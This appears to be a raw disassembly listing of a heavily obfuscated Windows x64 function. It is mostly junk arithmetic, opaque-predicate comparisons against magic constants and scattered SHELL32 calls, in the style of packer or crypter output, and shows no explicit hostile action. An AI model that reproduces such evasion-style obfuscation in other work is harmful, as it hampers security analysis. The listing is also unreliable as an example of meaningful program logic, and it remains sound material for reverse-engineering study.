cmp dword [rsp + 0x16dc], 0xff0
je 0x140054aea
jmp 0x140054b06
mov r9d, 0x68
mov r8b, 0x3a
mov edx, 0xce
movzx ecx, word [rsp + 0x65c]
call fcn.14010b860
nop
mov dword [rsp + 0x16e0], 0xc691
mov dword [rsp + 0x16e4], 0xaab
mov dword [rsp + 0x16e8], 0xa1db
mov dword [rsp + 0x16ec], 0x833a
movzx eax, byte [rsp + 0x8a]
xor eax, 0x2c
mov byte [rsp + 0x8a], al
movabs rax, 0xaa7640b755e83722
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c40], rax
movzx eax, word [rsp + 0x65c]
add eax, 0xb53
mov word [rsp + 0x65c], ax
movzx eax, word [rsp + 0x65c]
and eax, 0x9b0
mov word [rsp + 0x65c], ax
movzx eax, byte [rsp + 0x8a]
sub eax, 0x3f
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8a]
add eax, 0xcb
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8a]
sub eax, 0x2b
mov byte [rsp + 0x8a], al
movabs rax, 0x6132e9dd8c056ae9
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c40], rax
movzx eax, byte [rsp + 0x8a]
xor eax, 0x52
mov byte [rsp + 0x8a], al
movzx eax, word [rsp + 0x65c]
or eax, 0xafd
mov word [rsp + 0x65c], ax
movzx eax, word [rsp + 0x65c]
sar eax, 7
mov word [rsp + 0x65c], ax
movzx eax, byte [rsp + 0x8a]
shl eax, 3
mov byte [rsp + 0x8a], al
movabs rax, 0xb78bc946ee644e1f
mov rcx, qword [rsp + 0x2c40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c40], rax
movsx eax, word [0x14015a008]
sub eax, 0x2b90
mov word [0x14015a008], ax
movabs rax, 0x7b02c871b967fdae
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c40], rax
movzx eax, byte [rsp + 0x8a]
add eax, 0xb2
mov byte [rsp + 0x8a], al
movabs rax, 0x79bea0d5944d09f8
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c40], rax
movzx eax, byte [rsp + 0x8a]
and eax, 0x43
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8a]
add eax, 0xb8
mov byte [rsp + 0x8a], al
mov eax, dword [rsp + 0x16e0]
sub eax, 0xd6
mov dword [rsp + 0x16e0], eax
movzx eax, byte [rsp + 0x8a]
sub eax, 0x14
mov byte [rsp + 0x8a], al
movzx eax, word [rsp + 0x65c]
add eax, 0x9ff
mov word [rsp + 0x65c], ax
movsx eax, word [0x14015a008]
sub eax, 0x4ff5
mov word [0x14015a008], ax
movzx eax, byte [rsp + 0x8a]
or eax, 0x6c
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8a]
shl eax, 6
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2c40]
shr rax, 0x33
mov qword [rsp + 0x2c40], rax
movabs rax, 0x888de65bc0463288
mov rcx, qword [rsp + 0x2c40]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c40], rax
movsx eax, word [0x14015a008]
and eax, 0x6768
mov word [0x14015a008], ax
movabs rax, 0xfca450c855877a4c
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c40], rax
movzx eax, word [rsp + 0x65c]
sub eax, 0xa31
mov word [rsp + 0x65c], ax
movzx eax, byte [rsp + 0x8a]
sub eax, 0x24
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8a]
add eax, 4
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8a]
add eax, 0x1c
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8a]
and eax, 0xac
mov byte [rsp + 0x8a], al
movsx eax, word [0x14015a008]
sub eax, 0x72a2
mov word [0x14015a008], ax
movzx eax, word [rsp + 0x65c]
sub eax, 0xe67
mov word [rsp + 0x65c], ax
movzx eax, byte [rsp + 0x8a]
add eax, 0x28
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x8a]
xor eax, 0x24
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2c40]
shl rax, 0x1d
mov qword [rsp + 0x2c40], rax
movzx eax, byte [rsp + 0x8a]
or eax, 0x39
mov byte [rsp + 0x8a], al
movsx eax, word [0x14015a008]
sar eax, 0xb
mov word [0x14015a008], ax
movabs rax, 0x7f4d433780df08ac
mov rcx, qword [rsp + 0x2c40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c40], rax
movsx eax, word [0x14015a008]
sub eax, 0x18be
mov word [0x14015a008], ax
cmp dword [rsp + 0x16e0], 0xaa25
ja 0x140054b32
movabs rax, 0x6856cdd28310baec
mov qword [rsp + 0x2c48], rax
movabs rax, 0x30822da95ebd02ff
cmp qword [rsp + 0x2c40], rax
ja 0x14010b25e
mov byte [rsp + 0xcd], ILCombine
lea rax, [rsp + 0x65c]
mov qword [rsp + 0x2c50], rax
mov dword [rsp + 0x16f0], 0xdb74
mov rax, qword [rsp + 0x2c48]
mov qword [rsp + 0x2c58], rax
movabs rax, 0x6f794ae91dc7d4b2
cmp qword [rsp + 0x2c58], rax
je 0x140054f53
jmp 0x140054fe3
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
sub eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8a]
cmp eax, 0xf5
jne 0x140054fde
mov rax, qword [rsp + 0x2c40]
mov qword [rsp + 0x2c60], rax
movabs rax, 0xde5ccab23d95c18d
cmp qword [rsp + 0x2c60], rax
je 0x140054fa8
jmp 0x140054fcb
mov r8, qword [rsp + 0x2c40]
mov rax, qword [rsp + 0x2c50]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x65c]
call fcn.14010c5e0
nop
jmp 0x140054fde
movsx eax, word [0x14015a008]
add eax, 0x679b
mov word [0x14015a008], ax
jmp 0x1400550f2
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x2c68], rax
mov rax, qword [rsp + 0x2c48]
mov qword [rsp + 0x2c70], rax
movabs rax, 0x57459b047d104007
cmp qword [rsp + 0x2c70], rax
je 0x14005501c
jmp 0x1400550c8
mov rax, qword [rsp + 0x2c48]
mov qword [rsp + 0x2c78], rax
movabs rax, 0x24fcb9cdc4ec91eb
cmp qword [rsp + 0x2c78], rax
je 0x140055042
jmp 0x1400550b4
movzx eax, word [rsp + 0x65c]
sub eax, 0xf10
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
lea rdx, [rsp + 0x11d10]
mov ecx, ILCreateFromPathA
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov dword [rsp + 0x16f4], eax
movzx eax, word [rsp + 0x65c]
add eax, 0x69f
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov r8, qword [rsp + 0x2c80]
mov rdx, qword [rsp + 0x2c28]
mov rcx, qword [rsp + 0x2c88]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
mov qword [rsp + 0x2c90], rax
jmp 0x1400550c6
movsx eax, byte [rsp + 0xcd]
and eax, 0x18
mov byte [rsp + 0xcd], al
jmp 0x1400550f2
lea rax, [rsp + 0x65c]
mov qword [rsp + 0x2c98], rax
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0xce], al
mov dword [rsp + 0x16f8], 0x9c2c
mov dword [rsp + 0x16fc], 0x3798
cmp dword [rsp + 0x16f0], 0x101ad
je 0x140055490
movzx eax, byte [rsp + 0xce]
add eax, 0xb
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x2c40]
mov rcx, qword [rsp + 0x2c68]
mov qword [rsp + 0x2ca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ca0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xcd]
or eax, 0x5e
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xcd]
sar eax, 1
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
movabs rax, 0x7ed064deade9fd4f
mov rcx, qword [rsp + 0x2c40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x65c], ax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
add eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
movabs rax, 0x8730218c6ccfa626
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8a]
and eax, 0xe2
mov byte [rsp + 0xce], al
movsx eax, byte [rsp + 0xcd]
shl eax, 7
mov byte [rsp + 0xcd], al
movsx eax, byte [rsp + 0xcd]
xor eax, 7
mov byte [rsp + 0xcd], al
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c68]
movabs rcx, 0xb0bd2fbb48e1ca81
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2c40], rax
mov eax, dword [rsp + 0x16f0]
add eax, 0x67
mov dword [rsp + 0x16f0], eax
movsx eax, word [0x14015a008]
sub eax, 0x1224
mov word [0x14015a008], ax
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
movabs rax, 0x296ed262581d1dc4
mov rcx, qword [rsp + 0x2c48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
movsx eax, byte [rsp + 0xcd]
sub eax, 0x1c
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x65c], ax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
movabs rax, 0xbc8774908b1f4ac2
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
movsx eax, word [0x14015a008]
sub eax, 0x7a49
mov word [0x14015a008], ax
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
add eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
jmp 0x1400550fd
movsx eax, word [0x14015a008]
cmp eax, 0x6027
jne 0x1400554d8
movzx eax, word [rsp + 0x65c]
mov word [rsp + 0x20], ax
movzx r9d, byte [rsp + 0xcd]
movzx r8d, byte [rsp + 0xcd]
mov rdx, qword [rsp + 0x2c40]
mov rcx, qword [rsp + 0x2c48]
call fcn.14010cd90
nop
jmp 0x14010b1ca
lea rax, [rsp + 0x65c]
mov qword [rsp + 0x2ca8], rax
movabs rax, 0x62270d0b82ef1f5
mov rcx, qword [rsp + 0x2c48]
and rcx, rax
mov rax, rcx
movabs rcx, 0x43bc2cbe827bd318
cmp rax, rcx
jl 0x140055545
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
lea rcx, [rsp + 0x2c68]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0x2cb0], rax
mov rax, qword [rsp + 0x2c40]
mov qword [rsp + 0x2cb8], rax
movabs rax, 0x82f89a4ebb9ada4c
cmp qword [rsp + 0x2cb8], rax
je 0x140055586
movabs rax, 0xb587748c6711269d
cmp qword [rsp + 0x2cb8], rax
je 0x14005566d
jmp 0x14010b16b
movabs rax, 0x5e75e05c7f346e00
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0x1700], al
cmp byte [rsp + 0x1700], 0x34
je 0x1400555c1
jmp 0x1400555d0
lea rcx, [rsp + 0x2c20]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
nop
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
lea rcx, [rsp + 0x11100]
call qword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [rsp + 0x1704], eax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
sub eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x65c], ax
movabs rax, 0xa220de870eed9f52
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
jmp 0x14010b16b
lea rax, [rsp + 0xcd]
mov qword [rsp + 0x2cc0], rax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
shl eax, 4
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
shr rax, 0x32
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
and eax, 0x41
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
sub eax, 0x76
mov byte [rsp + 0xcd], al
movzx eax, byte [rsp + 0xce]
add eax, 0x51
mov byte [rsp + 0x8a], al
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
and eax, 0x54
mov byte [rsp + 0xcd], al
mov eax, dword [rsp + 0x16fc]
add eax, 0xb
mov dword [rsp + 0x16fc], eax
movabs rax, 0x55e6776303d0516b
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
movabs rax, 0xf6fb89513120957e
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
movabs rax, 0x47ed52d317ce36d8
mov rcx, qword [rsp + 0x2c48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x65c], ax
cmp dword [rsp + 0x16fc], 0x3b13
jne 0x14005567d
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c40]
mov rcx, qword [rsp + 0x2c68]
mov qword [rsp + 0x2cc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2cc8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
and eax, 0x59
mov byte [rsp + 0xcd], al
movabs rax, 0x57831e3631047437
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
movabs rax, 0x248f7feea7bb8084
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
movabs rax, 0x259f65661790e1d3
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c68]
movabs rcx, 0x33145f8bfa75bcc6
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c68]
movabs rcx, 0x4faad78970c40da
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x65c], ax
mov eax, dword [rsp + 0x16d8]
add eax, 0xe6
mov dword [rsp + 0x16d8], eax
movzx eax, byte [rsp + 0xce]
sub eax, 0xcb
mov byte [rsp + 0x8a], al
movabs rax, 0x7e90efc35abe71c9
mov rcx, qword [rsp + 0x2c48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x2c68]
movabs rcx, 0x6edaedf715456316
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2c40]
shl rax, 0x24
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
sar eax, cl
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
movabs rax, 0xbeda4f0a39a14cd6
mov rcx, qword [rsp + 0x2c40]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2c50]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
sub eax, 0x32
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2c50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
sub eax, 4
mov byte [rsp + 0xcd], al
cmp dword [rsp + 0x16d8], 0x1325d
jb 0x140055867
movzx eax, byte [rsp + 0xcd]
mov byte [rsp + 0x1708], al
cmp byte [rsp + 0x1708], 0x5a
je 0x140055ba7
cmp byte [rsp + 0x1708], 0x7a
je 0x140055b3f
jmp 0x140055bcc
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
mov dword [rsp + 0x170c], 0x3aea
lea rax, [rsp + 0x2c48]
mov qword [rsp + 0x2cd0], rax
mov dword [rsp + 0x1710], 0xda65
mov rax, qword [rsp + 0x2c98]
movzx eax, word [rax]
mov word [0x14015ae50], ax
mov dword [rsp + 0x1714], 0x5796c017
jmp 0x140055bcc
mov rax, qword [rsp + 0x2cd0]
mov r9, qword [rax]
movzx r8d, word [0x14015a008]
movzx edx, word [0x14015a008]
mov ecx, reloc.SHELL32.dll_SHGetNewLinkInfoA
call fcn.14010c2d0
nop
mov dword [rsp + 0x1718], 0x5790
lea rax, [rsp + 0x2c40]
mov qword [rsp + 0x2cd8], rax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
add eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
movabs rax, 0x4ac75ed989103300
mov rcx, qword [rsp + 0x2c48]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
sub eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1714]
or eax, 0x740dd000
mov dword [rsp + 0x1714], eax
movabs rax, 0x594d54b1eeb64eb7
mov rcx, qword [rsp + 0x2c48]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
movzx eax, word [0x14015ae50]
mov rcx, qword [rsp + 0x2c50]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x65c], ax
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2cd0]
mov qword [rsp + 0x2ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ce0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2c68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2cd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c40], rax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
add eax, 0x4d
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xcd]
add eax, 0x25
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c68]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1710]
add eax, 0xaf
mov dword [rsp + 0x1710], eax
mov rax, qword [rsp + 0x2ca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x65c]
and eax, ecx
mov rcx, qword [rsp + 0x2c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x2c48]
mov rcx, qword [rsp + 0x2cd0]
mov qword [rsp + 0x2ce8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2ce8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2c68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2cd8]
mov qword [rsp + 0x2cf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2cf0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2c40], rax
movzx eax, word [rsp + 0x65c]
movzx ecx, word [0x14015ae50]
xor eax, ecx
mov rcx, qword [rsp + 0x2ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcd]
or eax, ecx
mov rcx, qword [rsp + 0x2cc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8a]
sub eax, 0xcf
mov byte [rsp + 0xce], al
cmp dword [rsp + 0x1710], 0x11c05
jne 0x140055be7
movzx eax, byte [rsp + 0xce]
sub eax, 0xab
movzx ecx, byte [rsp + 0x8a]
cmp eax, ecx
jne 0x140055f19
mov rax, qword [rsp + 0x2cd8]
mov rcx, qword [rsp + 0x2c40]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2cd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1714]
mov dword [rsp + 0x171c], eax
cmp dword [rsp + 0x171c], 0x8a8e5e
je 0x14010afc1
cmp dword [rsp + 0x171c], 0x779fd017
je 0x140055f4a
jmp 0x14010afd6
lea rax, [rsp + 0xce]
mov qword [rsp + 0x2cf8], rax
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
mov dword [rsp + 0x1720], ecx
movzx edx, word [0x14015ae50]
movzx ecx, dl
mov edx, dword [rsp + 0x1720]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140056050
movzx eax, word [rsp + 0x65c]
mov dword [rsp + 0x1724], eax
cmp dword [rsp + 0x1724], 0x824
je 0x140055fbc
jmp 0x14005602f
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
mov edx, 0x93
mov rcx, qword [rsp + 0x2d00]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexA]
mov dword [rsp + 0x1728], eax
movzx eax, word [0x14015a008]
mov word [rsp + 0x20], ax
mov r9d, dword [rsp + 0x172c]
movzx r8d, word [rsp + 0x65c]
mov rax, qword [rsp + 0x2cc0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0xcd]
call fcn.14010b490
nop
jmp 0x14005604b
movzx eax, word [0x14015ae50]
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x65c], ax
jmp 0x140056122
cmp dword [rsp + 0x1714], 0x4b3e20a0
je 0x140056122
movzx eax, word [rsp + 0x65c]
mov rcx, qword [rsp + 0x2c98]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x2ca8]
movzx ecx, word [rcx]
movzx edx, word [0x14015ae50]
add ecx, edx
cmp eax, ecx
je 0x1400560ee
mov rax, qword [rsp + 0x2cd0]
mov rcx, qword [rsp + 0x2c48]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2cd0]
mov qword [rcx], rax
lea rdx, [rsp + 0xcd]
lea rcx, [rsp + 0x2d08]
